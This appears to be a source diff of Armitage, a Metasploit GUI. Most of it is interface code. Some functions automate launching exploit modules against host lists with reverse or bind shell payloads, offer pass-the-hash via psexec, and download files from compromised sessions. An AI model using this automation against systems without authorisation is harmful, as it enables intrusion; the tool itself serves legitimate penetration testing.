_call_async_("&generateArtifacts", %());
|
||||
}
|
||||
else {
|
||||
_call_async_("&generateArtifacts", $1);
|
||||
}
|
||||
}
|
||||
|
||||
sub open_script_console {
|
||||
_call_async_("&showScriptConsole");
|
||||
}
|
||||
|
||||
sub pref_get {
|
||||
local('$2');
|
||||
return [$preferences getProperty: $1, $2];
|
||||
}
|
||||
|
||||
sub pref_set {
|
||||
[$preferences setProperty: $1, $2];
|
||||
_call_("&savePreferences");
|
||||
}
|
||||
|
||||
sub show_modules {
|
||||
local('$1 $2 $3 $4');
|
||||
_call_async_("&showModules", $1, $2, $3, $4);
|
||||
}
|
||||
|
||||
sub open_file_browser {
|
||||
_call_async_("&createFileBrowser", $1, session_data($1)['platform']);
|
||||
}
|
||||
|
||||
sub switch_display {
|
||||
pref_set("armitage.string.target_view", $1);
|
||||
_call_async_("&createDashboard");
|
||||
}
|
||||
|
||||
sub run_module {
|
||||
_call_async_("&module_execute", $1, $2, $3);
|
||||
}
|
||||
|
||||
sub run_scans {
|
||||
_call_async_("&launch_msf_scans", $1);
|
||||
}
|
||||
|
||||
# creates a list dialog,
|
||||
# $1 = title, $2 = @(buttons), $3 = columns, $4 = rows
|
||||
sub prompt_list {
|
||||
local('$dialog $panel $table $row $model $button $sorter $width $height $buttons $t');
|
||||
|
||||
# setup width and height
|
||||
if (size(@_) >= 5) {
|
||||
($width, $height) = sublist(@_, 5);
|
||||
}
|
||||
|
||||
if ($width is $null) { $width = 320; }
|
||||
if ($height is $null) { $height = 200; }
|
||||
|
||||
$dialog = _dialog($1, $width, $height);
|
||||
$panel = [new JPanel];
|
||||
[$panel setLayout: [new BorderLayout]];
|
||||
|
||||
($table, $model) = _setupTable($3[0], $3, $4);
|
||||
[$panel add: [new JScrollPane: $table], [BorderLayout CENTER]];
|
||||
|
||||
#
|
||||
# setup our buttons for success...
|
||||
#
|
||||
$buttons = copy($2);
|
||||
foreach $button ($buttons) {
|
||||
$t = "$button";
|
||||
$button = [new JButton: $t];
|
||||
[$button addActionListener: lambda({
|
||||
local('$sel $row');
|
||||
$sel = [$model getSelectedValueFromColumn: $table, $lead];
|
||||
if ($sel !is $null) {
|
||||
$row = [$model getSelectedValuesFromColumns: $table, $cols][0];
|
||||
fire_event_local("item_selected", $title, $sel, $row);
|
||||
}
|
||||
[$dialog setVisible: 0];
|
||||
}, \$dialog, $title => $t, \$model, \$table, $lead => $3[0], $cols => $3)];
|
||||
}
|
||||
|
||||
local('$south');
|
||||
$south = [new JPanel];
|
||||
[$south setLayout: [new BoxLayout: $south, [BoxLayout Y_AXIS]]];
|
||||
[$south add: _center($buttons)];
|
||||
|
||||
[$panel add: $south, [BorderLayout SOUTH]];
|
||||
[$dialog add: $panel, [BorderLayout CENTER]];
|
||||
[$dialog show];
|
||||
[$dialog setVisible: 1];
|
||||
}
|
||||
|
||||
sub _dialog {
|
||||
local('$dialog $4');
|
||||
$dialog = [new JDialog: $frame, $1];
|
||||
[$dialog setSize: $2, $3];
|
||||
[$dialog setLayout: [new BorderLayout]];
|
||||
[$dialog setLocationRelativeTo: $frame];
|
||||
return $dialog;
|
||||
}
|
||||
|
||||
sub _setupTable {
|
||||
local('$table $model $sorter $row');
|
||||
$model = [new GenericTableModel: $2, $1, 8];
|
||||
foreach $row ($3) {
|
||||
[$model _addEntry: $row];
|
||||
}
|
||||
|
||||
$table = [new ATable: $model];
|
||||
[[$table getSelectionModel] setSelectionMode: [ListSelectionModel SINGLE_SELECTION]];
|
||||
$sorter = [new TableRowSorter: $model];
|
||||
[$table setRowSorter: $sorter];
|
||||
|
||||
return @($table, $model);
|
||||
}
|
||||
|
||||
sub log_file {
|
||||
if ([$preferences getProperty: "armitage.log_everything.boolean", "true"] eq "true") {
|
||||
local('$today $handle $data $out');
|
||||
$today = formatDate("yyMMdd");
|
||||
if (-exists $1 && -canread $1) {
|
||||
mkdir(getFileProper(_data_directory(), $today, $2, $3));
|
||||
|
||||
# read in the file
|
||||
$handle = openf($1);
|
||||
$data = readb($handle, -1);
|
||||
closef($handle);
|
||||
|
||||
# write it out.
|
||||
$out = getFileProper(_data_directory(), $today, $2, $3, getFileName($1));
|
||||
$handle = openf("> $+ $out");
|
||||
writeb($handle, $data);
|
||||
closef($handle);
|
||||
}
|
||||
else {
|
||||
warn("Could not find file: $1");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
@ -0,0 +1,253 @@
|
|||
#
|
||||
# Armitage Extensions for Cortana
|
||||
#
|
||||
|
||||
import java.awt.*;
|
||||
import java.awt.event.*;
|
||||
|
||||
import javax.swing.*;
|
||||
|
||||
import console.*;
|
||||
import armitage.*;
|
||||
import ui.*;
|
||||
import java.io.*;
|
||||
import javax.imageio.*;
|
||||
|
||||
# opens a generic tab with the component provided by the user.
|
||||
sub open_tab {
|
||||
[$armitage addTab: "$1", $2, lambda({
|
||||
fire_event_local("tab_close", $panel, $arg, $title);
|
||||
}, $title => $1, $panel => $2, $arg => $3)];
|
||||
return $2;
|
||||
}
|
||||
|
||||
sub _log_check {
|
||||
if ([$preferences getProperty: "armitage.log_everything.boolean", "true"] eq "true") {
|
||||
local('$today $logger');
|
||||
$today = formatDate("yyMMdd");
|
||||
if ($2 ne "") {
|
||||
mkdir(getFileProper(_data_directory(), $today, $2));
|
||||
$logger = [$shared getLogger: getFileProper(_data_directory(), $today, $2, "$3 $+ .log") ];
|
||||
[$1 writeToLog: $logger];
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
# "title", "log-sub-folder", popup hook, activity-console?
|
||||
sub open_console_tab {
|
||||
local('$2 $3 $4');
|
||||
return spawn({
|
||||
global('$tab $console');
|
||||
$console = console();
|
||||
$tab = open_text_tab($title, $console, $log_folder, $popup_hook, $null, $q_activity, $metasploit => 1);
|
||||
[$console setDisplay: $tab];
|
||||
[new QueueTabCompletion: $tab, $console];
|
||||
|
||||
on tab_close {
|
||||
[$console stop];
|
||||
quit();
|
||||
}
|
||||
|
||||
_call_later_("&setupConsoleStyle", $tab);
|
||||
return $console;
|
||||
}, $title => $1, $log_folder => $2, $popup_hook => $3, $q_activity => $4);
|
||||
}
|
||||
|
||||
# open_display_tab("title", $arg, @(buttons))
|
||||
sub open_display_tab {
|
||||
local('$panel $display $3 $button');
|
||||
$panel = [new JPanel];
|
||||
[$panel setLayout: [new BorderLayout]];
|
||||
$display = [new console.Display: $preferences];
|
||||
|
||||
if ($3 && size($3) > 0) {
|
||||
foreach $button ($3) {
|
||||
$button = [new JButton: "$button"];
|
||||
[$button addActionListener: lambda({
|
||||
fire_event_local("tab_display_click", $display, $arg, [[$1 getSource] getText]);
|
||||
}, \$display, $arg => $2)];
|
||||
}
|
||||
[$panel add: _center($3), [BorderLayout SOUTH]];
|
||||
}
|
||||
|
||||
[$panel add: $display, [BorderLayout CENTER]];
|
||||
[[$display console] scrollRectToVisible: [new Rectangle: 0, 0, 0, 0]];
|
||||
open_tab($1, $panel, $2);
|
||||
return $display;
|
||||
}
|
||||
|
||||
# "title", $argument, "log-sub-folder", popup hook, &tabcompletion, activity-console?
|
||||
sub open_text_tab {
|
||||
local('$console $panel $2 $3 $4 $5 $6 $metasploit');
|
||||
|
||||
# setup the console (if the user wants an activity console, give them one of those)
|
||||
if ($6) {
|
||||
$console = [new ActivityConsole: $preferences];
|
||||
}
|
||||
else {
|
||||
$console = [new Console: $preferences];
|
||||
}
|
||||
|
||||
if (!$metasploit) {
|
||||
[[$console getInput] addActionListener: lambda({
|
||||
[[$1 getSource] setText: ""];
|
||||
fire_event_local("tab_text_input", $console, $arg, [$1 getActionCommand]);
|
||||
}, \$console, $arg => $2)];
|
||||
|
||||
# add a word click listener too... why not.
|
||||
[$console addWordClickListener: lambda({
|
||||
fire_event_local("tab_text_click", $console, $arg, [$1 getActionCommand]);
|
||||
}, \$console, $arg => $2)];
|
||||
}
|
||||
|
||||
# setup logging (if the scripter wants it)
|
||||
if ($3) {
|
||||
_log_check($console, $3, strrep($1, " ", "_"));
|
||||
}
|
||||
|
||||
# setup popup menus (if the scripter wants them)
|
||||
if ($4) {
|
||||
# define some popup menus too
|
||||
[$console setPopupMenu: lambda({
|
||||
# $1 = word, $2 = event
|
||||
show_popup($2, $hook, $console, $1, $arg);
|
||||
}, \$console, $arg => $2, $hook => $4)];
|
||||
}
|
||||
|
||||
# setup tab completion too -- may need to be a callback... not sure yet.
|
||||
if ($5) {
|
||||
[new cortana.gui.CortanaTabCompletion: $console, lambda({
|
||||
return [$f: $console, $arg, $1];
|
||||
}, \$console, $arg => $2, $f => $5)];
|
||||
}
|
||||
|
||||
# add the console to our display
|
||||
return open_tab($1, $console, $2);
|
||||
}
|
||||
|
||||
sub append {
|
||||
[$1 append: "$2"];
|
||||
}
|
||||
|
||||
sub prompt {
|
||||
[$1 setPrompt: $2];
|
||||
}
|
||||
|
||||
sub input {
|
||||
[[$1 getInput] setText: $2];
|
||||
}
|
||||
|
||||
sub clear_text {
|
||||
[$1 clear];
|
||||
}
|
||||
|
||||
# "title", $argument, @cols, @rows, @buttons, "*hook*", multi?
|
||||
sub open_table_tab {
|
||||
local('$panel $5 $6 $7');
|
||||
$panel = [new JPanel];
|
||||
[$panel setLayout: [new BorderLayout]];
|
||||
|
||||
# add our table...
|
||||
($table, $model) = _setup_table($3[0], $3, $4, $7);
|
||||
[$panel add: [new JScrollPane: $table]];
|
||||
|
||||
# setup our buttons...
|
||||
if ($5 && size($5) > 0) {
|
||||
foreach $button ($5) {
|
||||
$button = [new JButton: "$button"];
|
||||
[$button addActionListener: lambda({
|
||||
fire_event_local("tab_table_click", $table, $arg, [[$1 getSource] getText]);
|
||||
}, \$table, $arg => $2)];
|
||||
}
|
||||
[$panel add: _center($5), [BorderLayout SOUTH]];
|
||||
}
|
||||
|
||||
# setup our popup menu...
|
||||
if ($6) {
|
||||
[$table addMouseListener: [new SafeMouseListener: lambda({
|
||||
if ([$1 isPopupTrigger]) {
|
||||
local('$sel');
|
||||
$sel = [[$table getModel] getSelectedValues: $table];
|
||||
show_popup($1, $hook, $table, $sel, $arg);
|
||||
}
|
||||
}, $hook => $6, \$table, $arg => $2)]];
|
||||
}
|
||||
|
||||
open_tab($1, $panel, $2);
|
||||
return $table;
|
||||
}
|
||||
|
||||
# @@ table_selected($table, "col1", "col2");
|
||||
sub table_selected {
|
||||
return [[$1 getModel] getSelectedValuesFromColumns: $1, sublist(@_, 1)];
|
||||
}
|
||||
|
||||
sub table_selected_single {
|
||||
return flatten(table_selected($1, $2));
|
||||
}
|
||||
|
||||
# table_set($table, @rows)
|
||||
sub table_set {
|
||||
local('$model $row');
|
||||
$model = [$1 getModel];
|
||||
[$model clear: size($2) * 2];
|
||||
foreach $row ($2) {
|
||||
[$model addEntry: $row];
|
||||
}
|
||||
[$model fireListeners];
|
||||
}
|
||||
|
||||
# table_sorter($table, index, &function);
|
||||
sub table_sorter {
|
||||
[[$1 getRowSorter] setComparator: $2, $3];
|
||||
}
|
||||
|
||||
# table_sorter_host($table, index)
|
||||
sub table_sorter_host {
|
||||
table_sorter($1, $2, &_compare_hosts);
|
||||
}
|
||||
|
||||
# table_sort_date($table, index)
|
||||
sub table_sorter_date {
|
||||
table_sorter($1, $2, { return parse_msf_date($1) <=> parse_msf_date($2); });
|
||||
}
|
||||
|
||||
# $image = open_image_tab("title", $arg, @(buttons...))
|
||||
sub open_image_tab {
|
||||
local('$panel @buttons $b');
|
||||
$panel = [new JPanel];
|
||||
[$panel setLayout: [new BorderLayout]];
|
||||
|
||||
$image = [new ZoomableImage];
|
||||
[$panel add: [new JScrollPane: $image], [BorderLayout CENTER]];
|
||||
|
||||
if ($3 !is $null && size($3) > 0) {
|
||||
foreach $button ($3) {
|
||||
$b = [new JButton: $button];
|
||||
[$b addActionListener: lambda({
|
||||
fire_event_local("tab_image_click", $image, $arg, $button);
|
||||
}, \$image, $button => "$button", $arg => $2)];
|
||||
push(@buttons, $b);
|
||||
}
|
||||
[$panel add: _center(@buttons), [BorderLayout SOUTH]];
|
||||
}
|
||||
|
||||
open_tab($1, $panel, $2);
|
||||
return $image;
|
||||
}
|
||||
|
||||
# set_image($image, "/path/to/image.jpg", "host|all", "type");
|
||||
sub set_image {
|
||||
local('$image');
|
||||
if (size(@_) == 4) {
|
||||
log_file($2, $3, $4);
|
||||
}
|
||||
|
||||
warn("Opening: $2");
|
||||
$image = [ImageIO read: [new File: $2]];
|
||||
if ($image !is $null) {
|
||||
dispatch_event({
|
||||
[$container setIcon: [new ImageIcon: $image]];
|
||||
}, $container => $1, \$image);
|
||||
}
|
||||
}
|
File diff suppressed because it is too large
Load Diff
|
@ -15,9 +15,15 @@ import graph.*;
|
|||
|
||||
import java.awt.image.*;
|
||||
|
||||
global('$frame $tabs $menubar $msfrpc_handle $REMOTE');
|
||||
global('$frame $tabs $menubar $msfrpc_handle $REMOTE $cortana $MY_ADDRESS');
|
||||
|
||||
sub describeHost {
|
||||
local('$desc');
|
||||
$desc = _describeHost($1);
|
||||
return filter_data("host_describe", $desc, $1)[0];
|
||||
}
|
||||
|
||||
sub _describeHost {
|
||||
local('$sessions $os @overlay $ver $info');
|
||||
($sessions, $os, $ver) = values($1, @('sessions', 'os_name', 'os_flavor'));
|
||||
|
||||
|
@ -57,6 +63,9 @@ sub showHost {
|
|||
push(@overlay, 'resources/windows7.png');
|
||||
}
|
||||
}
|
||||
else if ($os eq "Apple iOS" || "*AppleTV*" iswm $os) {
|
||||
push(@overlay, 'resources/ios.png');
|
||||
}
|
||||
else if ($os eq "Mac OS X" || "*apple*" iswm lc($os) || "*mac*os*x*" iswm lc($os)) {
|
||||
push(@overlay, 'resources/macosx.png');
|
||||
}
|
||||
|
@ -75,6 +84,9 @@ sub showHost {
|
|||
else if ("*VMware*" iswm $os) {
|
||||
push(@overlay, 'resources/vmware.png');
|
||||
}
|
||||
else if ($os eq "Android") {
|
||||
push(@overlay, 'resources/android.png');
|
||||
}
|
||||
else if ($purpose eq "firewall") {
|
||||
return overlay_images(@('resources/firewall.png'));
|
||||
}
|
||||
|
@ -89,7 +101,7 @@ sub showHost {
|
|||
push(@overlay, 'resources/computer.png');
|
||||
}
|
||||
|
||||
return overlay_images(@overlay);
|
||||
return overlay_images(filter_data("host_image", @overlay, $1)[0]);
|
||||
}
|
||||
|
||||
sub connectToMetasploit {
|
||||
|
@ -99,7 +111,7 @@ sub connectToMetasploit {
|
|||
}
|
||||
|
||||
sub _connectToMetasploit {
|
||||
global('$database $client $mclient $console @exploits @auxiliary @payloads @post');
|
||||
global('$database $aclient $client $mclient $console @exploits @auxiliary @payloads @post');
|
||||
|
||||
# reset rejected fingerprints
|
||||
let(&verify_server, %rejected => %());
|
||||
|
@ -146,16 +158,17 @@ sub _connectToMetasploit {
|
|||
|
||||
# connecting locally? go to Metasploit directly...
|
||||
if ($1 eq "127.0.0.1" || $1 eq "::1" || $1 eq "localhost") {
|
||||
$client = [new MsgRpcImpl: $3, $4, $1, long($2), $null, $debug];
|
||||
$client = [new MsgRpcImpl: $3, $4, $1, long($2), $null, $debug];
|
||||
$aclient = [new RpcAsync: $client];
|
||||
$mclient = $client;
|
||||
initConsolePool();
|
||||
initReporting();
|
||||
}
|
||||
# we have a team server... connect and authenticate to it.
|
||||
else {
|
||||
$client = c_client($1, $2);
|
||||
setField(^msf.MeterpreterSession, DEFAULT_WAIT => 20000L);
|
||||
$mclient = setup_collaboration($3, $4, $1, $2);
|
||||
$aclient = $mclient;
|
||||
}
|
||||
$flag = $null;
|
||||
}
|
||||
|
@ -198,6 +211,14 @@ sub _connectToMetasploit {
|
|||
}
|
||||
}
|
||||
|
||||
# check the module cache...
|
||||
local('$sanity');
|
||||
$sanity = call($mclient, "module.options", "exploit", "windows/smb/ms08_067_netapi");
|
||||
if ($sanity is $null) {
|
||||
warn("Detected corrupt module cache... forcing rebuild");
|
||||
call($mclient, "db.clear_cache");
|
||||
}
|
||||
|
||||
[$progress setNote: "Connected: Getting local address"];
|
||||
[$progress setProgress: 50];
|
||||
|
||||
|
@ -226,27 +247,74 @@ sub _connectToMetasploit {
|
|||
sub postSetup {
|
||||
thread(lambda({
|
||||
[$progress setNote: "Connected: Fetching exploits"];
|
||||
[$progress setProgress: 70];
|
||||
[$progress setProgress: 65];
|
||||
|
||||
@exploits = sorta(call($mclient, "module.exploits")["modules"]);
|
||||
|
||||
[$progress setNote: "Connected: Fetching auxiliary modules"];
|
||||
[$progress setProgress: 80];
|
||||
[$progress setProgress: 70];
|
||||
|
||||
@auxiliary = sorta(call($mclient, "module.auxiliary")["modules"]);
|
||||
|
||||
[$progress setNote: "Connected: Fetching payloads"];
|
||||
[$progress setProgress: 90];
|
||||
[$progress setProgress: 80];
|
||||
|
||||
@payloads = sorta(call($mclient, "module.payloads")["modules"]);
|
||||
|
||||
[$progress setNote: "Connected: Fetching post modules"];
|
||||
[$progress setProgress: 100];
|
||||
[$progress setProgress: 90];
|
||||
|
||||
@post = sorta(call($mclient, "module.post")["modules"]);
|
||||
|
||||
[$progress setNote: "Connected: Starting script engine"];
|
||||
[$progress setProgress: 95];
|
||||
|
||||
$cortana = [new cortana.Cortana: $client, $mclient, $__events__, $__filters__];
|
||||
[$cortana setupCallbackIO];
|
||||
|
||||
[$progress close];
|
||||
main();
|
||||
|
||||
local('$frame');
|
||||
$frame = main();
|
||||
[$cortana setupArmitage: $frame, $preferences];
|
||||
|
||||
# export some local functions for use by Cortana...
|
||||
[[$cortana getSharedData] put: "&launch_dialog", &launch_dialog];
|
||||
[[$cortana getSharedData] put: "&attack_dialog", &attack_dialog];
|
||||
[[$cortana getSharedData] put: "&savePreferences", &savePreferences];
|
||||
[[$cortana getSharedData] put: "&showModules", &showModules];
|
||||
[[$cortana getSharedData] put: "&show_login_dialog", &show_login_dialog];
|
||||
[[$cortana getSharedData] put: "&show_psexec_dialog", &pass_the_hash];
|
||||
[[$cortana getSharedData] put: "&module_execute", &module_execute];
|
||||
[[$cortana getSharedData] put: "&createDashboard", &createDashboard];
|
||||
[[$cortana getSharedData] put: "&launch_msf_scans", &launch_msf_scans];
|
||||
[[$cortana getSharedData] put: "&quickListDialog", &quickListDialog];
|
||||
[[$cortana getSharedData] put: "&setupConsoleStyle", &setupConsoleStyle];
|
||||
[[$cortana getSharedData] put: "&showScriptConsole", &showScriptConsole];
|
||||
[[$cortana getSharedData] put: "&generateArtifacts", &_generateArtifacts];
|
||||
[[$cortana getSharedData] put: "&createFileBrowser", &createFileBrowser];
|
||||
|
||||
if ($MY_ADDRESS ne "") {
|
||||
warn("Starting Cortana on $MY_ADDRESS ...");
|
||||
[$cortana start: $MY_ADDRESS];
|
||||
}
|
||||
|
||||
# this will tell Cortana to start consuming the output from our scripts.
|
||||
getCortanaConsole();
|
||||
|
||||
local('$script');
|
||||
foreach $script (listScripts()) {
|
||||
try {
|
||||
if (-exists $script && -canread $script) {
|
||||
[$progress setNote: "Connected: Loading $script"];
|
||||
[$cortana loadScript: $script];
|
||||
}
|
||||
}
|
||||
catch $exception {
|
||||
showError("Could not load $script $+ :\n $+ $exception");
|
||||
}
|
||||
}
|
||||
|
||||
createDashboard();
|
||||
}, \$progress));
|
||||
}
|
||||
|
@ -287,6 +355,8 @@ sub main {
|
|||
if (-exists "command.txt") {
|
||||
deleteFile("command.txt");
|
||||
}
|
||||
|
||||
return $frame;
|
||||
}
|
||||
|
||||
sub checkDir {
|
||||
|
|
|
@ -98,7 +98,7 @@ sub resolveAttacks {
|
|||
|
||||
sub _resolveAttacks {
|
||||
# force a service data refresh before hail mary or find attacks.
|
||||
_refreshServices(call($mclient, "db.services"));
|
||||
_refreshServices(call($mclient, "db.services")['services']);
|
||||
|
||||
%results = ohash();
|
||||
%results2 = ohash();
|
||||
|
@ -224,7 +224,7 @@ sub smarter_autopwn {
|
|||
$progress = [new ProgressMonitor: $null, "Launching Exploits...", "...", 0, size(@attacks)];
|
||||
|
||||
thread(lambda({
|
||||
local('$host $ex $payload $x $rport %wait');
|
||||
local('$host $ex $payload $x $rport %wait $options');
|
||||
while (size(@attacks) > 0 && [$progress isCanceled] == 0) {
|
||||
($host, $ex, $payload, $rport) = @attacks[0];
|
||||
|
||||
|
@ -238,7 +238,10 @@ sub smarter_autopwn {
|
|||
|
||||
[$progress setNote: "$host $+ : $+ $rport ( $+ $ex $+ )"];
|
||||
[$progress setProgress: $x + 0];
|
||||
call_async($client, "module.execute", "exploit", $ex, %(PAYLOAD => $payload, RHOST => $host, LHOST => $MY_ADDRESS, LPORT => randomPort() . '', RPORT => "$rport", TARGET => '0', SSL => iff($rport == 443, '1')));
|
||||
|
||||
$options = %(PAYLOAD => $payload, RHOST => $host, LHOST => $MY_ADDRESS, LPORT => randomPort() . '', RPORT => "$rport", TARGET => '0', SSL => iff($rport == 443, '1'));
|
||||
($ex, $host, $options) = filter_data("exploit", $ex, $host, $options);
|
||||
call_async($client, "module.execute", "exploit", $ex, $options);
|
||||
%wait[$host] = ticks();
|
||||
$x++;
|
||||
@attacks = sublist(@attacks, 1);
|
||||
|
@ -346,6 +349,9 @@ sub best_payload {
|
|||
else if ("java/jsp_shell_bind_tcp" in $compatible) {
|
||||
return "java/jsp_shell_bind_tcp";
|
||||
}
|
||||
else if ("cmd/unix/interact" in $compatible) {
|
||||
return "cmd/unix/interact";
|
||||
}
|
||||
else {
|
||||
return "generic/shell_bind_tcp";
|
||||
}
|
||||
|
@ -394,6 +400,9 @@ sub attack_dialog {
|
|||
if ($key eq "RHOST") {
|
||||
$value["default"] = join(", ", $3);
|
||||
}
|
||||
else if ($key eq "RHOSTS") {
|
||||
$value["default"] = join(", ", $3);
|
||||
}
|
||||
|
||||
[$model _addEntry: %(Option => $key,
|
||||
Value => $value["default"],
|
||||
|
@ -451,30 +460,61 @@ sub attack_dialog {
|
|||
|
||||
$options["TARGET"] = split(' \=\> ', [$combobox getSelectedItem])[0];
|
||||
|
||||
thread(lambda({
|
||||
local('$host $hosts');
|
||||
$hosts = split(', ', $options["RHOST"]);
|
||||
if ('RHOSTS' in $options) {
|
||||
thread(lambda({
|
||||
local('$hosts $host');
|
||||
$hosts = split(', ', $options["RHOSTS"]);
|
||||
|
||||
if (size($hosts) == 0) {
|
||||
showError("Please specify an RHOSTS value");
|
||||
return;
|
||||
}
|
||||
$options["PAYLOAD"] = best_payload($hosts[0], $exploit, [$b isSelected]);
|
||||
|
||||
foreach $host ($hosts) {
|
||||
$options["PAYLOAD"] = best_payload($host, $exploit, [$b isSelected]);
|
||||
$options["RHOST"] = $host;
|
||||
if ([$b isSelected]) {
|
||||
$options["LPORT"] = randomPort();
|
||||
}
|
||||
|
||||
if (size($hosts) >= 4) {
|
||||
call_async($client, "module.execute", "exploit", $exploit, $options);
|
||||
# give scripts a chance to filter this data.
|
||||
foreach $host ($hosts) {
|
||||
($exploit, $host, $options) = filter_data("exploit", $exploit, $host, $options);
|
||||
}
|
||||
else {
|
||||
module_execute("exploit", $exploit, copy($options));
|
||||
}
|
||||
yield 100;
|
||||
}
|
||||
|
||||
module_execute("exploit", $exploit, copy($options));
|
||||
|
||||
if ([$preferences getProperty: "armitage.show_all_commands.boolean", "true"] eq "false" || size($hosts) >= 4) {
|
||||
showError("Launched $exploit at " . size($hosts) . " host" . iff(size($hosts) == 1, "", "s"));
|
||||
}
|
||||
}, $options => copy($options), \$exploit, \$b));
|
||||
if ([$preferences getProperty: "armitage.show_all_commands.boolean", "true"] eq "false" || size($hosts) >= 4) {
|
||||
showError("Launched $exploit at " . size($hosts) . " host" . iff(size($hosts) == 1, "", "s"));
|
||||
}
|
||||
}, $options => copy($options), \$exploit, \$b));
|
||||
}
|
||||
else {
|
||||
thread(lambda({
|
||||
local('$host $hosts');
|
||||
$hosts = split(', ', $options["RHOST"]);
|
||||
|
||||
foreach $host ($hosts) {
|
||||
$options["PAYLOAD"] = best_payload($host, $exploit, [$b isSelected]);
|
||||
$options["RHOST"] = $host;
|
||||
if ([$b isSelected]) {
|
||||
$options["LPORT"] = randomPort();
|
||||
}
|
||||
|
||||
($exploit, $host, $options) = filter_data("exploit", $exploit, $host, $options);
|
||||
|
||||
if (size($hosts) >= 4) {
|
||||
call_async($client, "module.execute", "exploit", $exploit, $options);
|
||||
}
|
||||
else {
|
||||
module_execute("exploit", $exploit, copy($options));
|
||||
}
|
||||
yield 100;
|
||||
}
|
||||
|
||||
if ([$preferences getProperty: "armitage.show_all_commands.boolean", "true"] eq "false" || size($hosts) >= 4) {
|
||||
showError("Launched $exploit at " . size($hosts) . " host" . iff(size($hosts) == 1, "", "s"));
|
||||
}
|
||||
}, $options => copy($options), \$exploit, \$b));
|
||||
}
|
||||
|
||||
if (!isShift($1)) {
|
||||
[$dialog setVisible: 0];
|
||||
|
@ -563,7 +603,7 @@ sub host_attack_items {
|
|||
|
||||
foreach $port => $service (%hosts[$2[0]]['services']) {
|
||||
$name = $service['name'];
|
||||
if ($name eq "smb" && "*Windows*" iswm getHostOS($2[0])) {
|
||||
if ($port == 445 && "*Windows*" iswm getHostOS($2[0])) {
|
||||
push(@options, @("psexec", lambda(&pass_the_hash, $hosts => $2)));
|
||||
}
|
||||
else if ("scanner/ $+ $name $+ / $+ $name $+ _login" in @auxiliary) {
|
||||
|
@ -608,8 +648,38 @@ sub addFileListener {
|
|||
$actions["Template"] = $actions["*FILE*"];
|
||||
$actions["SigningCert"] = $actions["*FILE*"];
|
||||
$actions["SigningKey"] = $actions["*FILE*"];
|
||||
$actions["Wordlist"] = $actions["*FILE*"];
|
||||
$actions["WORDLIST"] = $actions["*FILE*"];
|
||||
|
||||
# set up an action to choose a session
|
||||
$actions["SESSION"] = {
|
||||
local('@data $sid $data $host $hdata $temp $tablef');
|
||||
|
||||
# obtain a list of sessions
|
||||
foreach $host (keys(%hosts)) {
|
||||
foreach $sid => $data (getSessions($host)) {
|
||||
$temp = copy($data);
|
||||
$temp['sid'] = $sid;
|
||||
push(@data, $temp);
|
||||
}
|
||||
}
|
||||
|
||||
# sort the session data
|
||||
@data = sort({ return $1['sid'] <=> $2['sid']; }, @data);
|
||||
|
||||
# update the table widths
|
||||
$tablef = {
|
||||
[[$1 getColumn: "sid"] setPreferredWidth: 100];
|
||||
[[$1 getColumn: "session_host"] setPreferredWidth: 300];
|
||||
[[$1 getColumn: "info"] setPreferredWidth: 1024];
|
||||
};
|
||||
|
||||
# let the user choose a session
|
||||
quickListDialog("Choose a session", "Select", @("sid", "sid", "session_host", "info"), @data, $width => 640, $height => 240, lambda({
|
||||
[$call : $1];
|
||||
}, $call => $4), \$tablef);
|
||||
};
|
||||
|
||||
# set up an action to pop up a file chooser for different file type values.
|
||||
$actions["RHOST"] = {
|
||||
local('$title $temp');
|
||||
|
|
|
@ -387,6 +387,7 @@ sub buildFileBrowserMenu {
|
|||
}
|
||||
showError("Downloading:\n\n" . join("\n", $file) . "\n\nUse View -> Downloads to see files");
|
||||
elog("downloaded " . join(", ", $file) . " from " . [$text getText] . " on " . sessionToHost($sid));
|
||||
fire_event_async("user_download", $sid, $file);
|
||||
}, $file => $2, \$sid, \%types, \$setcwd, \$text));
|
||||
|
||||
item($1, "Execute", 'E', lambda({
|
||||
|
|
|
@ -11,10 +11,16 @@ sub createEventLogTab {
|
|||
this('$console $client');
|
||||
|
||||
if ($client is $null && $console is $null) {
|
||||
$console = [new ActivityConsole: $preferences];
|
||||
$client = [new ConsoleClient: $console, $mclient, "armitage.poll", "armitage.push", $null, "", $null];
|
||||
$console = [new ActivityConsole: $preferences];
|
||||
setupEventStyle($console);
|
||||
logCheck($console, "all", "events");
|
||||
|
||||
# define a menu for the eventlog
|
||||
[$console setPopupMenu: {
|
||||
installMenu($2, "eventlog", @());
|
||||
}];
|
||||
|
||||
$client = [$cortana getEventLog: $console];
|
||||
[$client setEcho: $null];
|
||||
[$console updatePrompt: "> "];
|
||||
}
|
||||
|
@ -22,7 +28,7 @@ sub createEventLogTab {
|
|||
[$console updateProperties: $preferences];
|
||||
}
|
||||
|
||||
[$frame addTab: "Event Log", $console, $null];
|
||||
[$frame addTab: "Event Log", $console, $null];
|
||||
}
|
||||
|
||||
sub verify_server {
|
||||
|
@ -61,6 +67,7 @@ sub c_client {
|
|||
local('$client');
|
||||
$client = newInstance(^RpcConnection, lambda({
|
||||
writeObject($handle, @_);
|
||||
[[$handle getOutputStream] flush];
|
||||
return readObject($handle);
|
||||
}, \$handle));
|
||||
return [new RpcAsync: $client];
|
||||
|
|
|
@ -24,6 +24,10 @@ import ui.*;
|
|||
# Create a new menu, returns the menu, you have to attach it to something
|
||||
# menu([$parent], "Name", 'Accelerator')
|
||||
sub menu {
|
||||
return invoke(&_menu, filter_data_array("menu_parent", @_));
|
||||
}
|
||||
|
||||
sub _menu {
|
||||
local('$menu');
|
||||
if (size(@_) == 2) {
|
||||
$menu = [new JMenu: $1];
|
||||
|
@ -56,7 +60,15 @@ sub separator {
|
|||
# create a menu item, attaches it to the specified parent (based on the Name)
|
||||
# item($parent, "Name", 'accelerator', &listener)
|
||||
sub item {
|
||||
return invoke(&_item, filter_data_array("menu_item", @_));
|
||||
}
|
||||
|
||||
sub _item {
|
||||
local('$item');
|
||||
if ($1 is $null || $2 is $null) {
|
||||
return;
|
||||
}
|
||||
|
||||
$item = [new JMenuItem: $2];
|
||||
if ($3 !is $null) {
|
||||
[$item setMnemonic: casti(charAt($3, 0), 'c')];
|
||||
|
@ -420,13 +432,17 @@ sub setupTable {
|
|||
# creates a list dialog,
|
||||
# $1 = title, $2 = button text, $3 = columns, $4 = rows, $5 = callback
|
||||
sub quickListDialog {
|
||||
local('$dialog $panel $table $row $model $button $sorter $after $a');
|
||||
local('$dialog $panel $table $row $model $button $sorter $after $a $tablef');
|
||||
$dialog = dialog($1, $width, $height);
|
||||
